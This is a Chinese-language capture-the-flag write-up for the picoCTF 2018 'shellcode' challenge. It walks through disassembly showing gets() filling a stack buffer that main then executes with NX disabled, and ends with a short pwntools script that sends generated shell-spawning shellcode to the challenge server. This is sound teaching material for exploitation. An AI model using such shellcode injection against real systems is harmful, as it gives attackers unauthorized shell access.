picoctf_2018_shellcode

常规检查

  看题目提示就知道是 shellcode 题,看保护,果然 NX 防护没开启,这就意味着栈上的代码是可以执行的。

逆向分析

  文件函数众多,而且不能 ida f5 直接反编译,那只好手撸汇编代码

.text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080488A1                 public main
.text:080488A1 main            proc near               ; DATA XREF: _start+17o
.text:080488A1
.text:080488A1 var_A0          = byte ptr -0A0h
.text:080488A1 var_C           = dword ptr -0Ch
.text:080488A1 var_4           = dword ptr -4
.text:080488A1 argc            = dword ptr  0Ch
.text:080488A1 argv            = dword ptr  10h
.text:080488A1 envp            = dword ptr  14h
.text:080488A1
.text:080488A1                 lea     ecx, [esp+4]
.text:080488A5                 and     esp, 0FFFFFFF0h
.text:080488A8                 push    dword ptr [ecx-4]
.text:080488AB                 push    ebp
.text:080488AC                 mov     ebp, esp
.text:080488AE                 push    ecx
.text:080488AF                 sub     esp, 0A4h
.text:080488B5                 mov     eax, stdout
.text:080488BA                 push    0
.text:080488BC                 push    2
.text:080488BE                 push    0
.text:080488C0                 push    eax
.text:080488C1                 call    setvbuf
.text:080488C6                 add     esp, 10h
.text:080488C9                 call    getegid
.text:080488CE                 mov     [ebp+var_C], eax
.text:080488D1                 sub     esp, 4
.text:080488D4                 push    [ebp+var_C]
.text:080488D7                 push    [ebp+var_C]
.text:080488DA                 push    [ebp+var_C]
.text:080488DD                 call    setresgid
.text:080488E2                 add     esp, 10h
.text:080488E5                 sub     esp, 0Ch
.text:080488E8                 push    offset aEnterAString ; "Enter a string!"
.text:080488ED                 call    puts
.text:080488F2                 add     esp, 10h
.text:080488F5                 sub     esp, 0Ch
.text:080488F8                 lea     eax, [ebp+var_A0]
.text:080488FE                 push    eax
.text:080488FF                 call    vuln
.text:08048904                 add     esp, 10h
.text:08048907                 sub     esp, 0Ch
.text:0804890A                 push    offset aThanksExecutin ; "Thanks! Executing now..."
.text:0804890F                 call    puts
.text:08048914                 add     esp, 10h
.text:08048917                 lea     eax, [ebp+var_A0]
.text:0804891D                 call    eax
.text:0804891F                 mov     eax, 0
.text:08048924                 mov     ecx, [ebp+var_4]
.text:08048927                 leave
.text:08048928                 lea     esp, [ecx-4]
.text:0804892B                 retn
.text:0804892B main            endp

  直接从数据流分析,主函数有两个可疑点,分别是 080488FF call vuln 与 0804891D call eax 。一般的函数调用不会出现 call eax ,这里说明了 eax 在之前肯定被赋予了某部分的地址。至于 vuln ,多做 ctf 题就知道这种起名的函数一般是漏洞函数。 我们点进去看看

.text:0804887C ; Attributes: bp-based frame
.text:0804887C
.text:0804887C                 public vuln
.text:0804887C vuln            proc near               ; CODE XREF: main+5Ep
.text:0804887C
.text:0804887C arg_0           = dword ptr  8
.text:0804887C
.text:0804887C                 push    ebp
.text:0804887D                 mov     ebp, esp
.text:0804887F                 sub     esp, 8
.text:08048882                 sub     esp, 0Ch
.text:08048885                 push    [ebp+arg_0]
.text:08048888                 call    gets
.text:0804888D                 add     esp, 10h
.text:08048890                 sub     esp, 0Ch
.text:08048893                 push    [ebp+arg_0]
.text:08048896                 call    puts
.text:0804889B                 add     esp, 10h
.text:0804889E                 nop
.text:0804889F                 leave
.text:080488A0                 retn
.text:080488A0 vuln            endp

  注意到 vuln 中有 gets 函数的调用。他的参数是 ebp+arg_0 对应的地址,也就是在返回地址上一栈内存单元处,对应主函数中,我们可以看到

.text:080488F8                 lea     eax, [ebp+var_A0]
.text:080488FE                 push    eax
.text:080488FF                 call    vuln

  gets 函数写入的地址即为 [ebp+var_A0] 对应的地址,同时我们注意到

.text:08048917                 lea     eax, [ebp+var_A0]
.text:0804891D                 call    eax

  call 的地址即为 [ebp+var_A0] 所指向的地址

利用思路

  到这里思路就很明显了,我们先输入的内容会被 get 读取,存到内存 [ebp+var_A0] 中,然后在函数在后面的时候,会调用这一部分内容。所以我们只要写入 shellcode ,函数后面就会调用 shellcode 。至于 [ebp+var_A0] 是指向哪里 ,我们可以看到 main 函数中没有 offset 变量,所以这 [ebp+var_A0] 指的是局部变量,那就是在栈中,而 nx 保护没有开启,所以 shellcode 在栈上也可以执行。

from pwn import *

io =remote('node3.buuoj.cn',29911)

context.binary = 'PicoCTF_2018_shellcode'
shellcode = asm(shellcraft.sh())#可以自动生成二进制文件对应架构的 shellcode 

io.sendline(shellcode)

io.interactive()



get flag

原文地址:https://www.cnblogs.com/luoleqi/p/12392741.html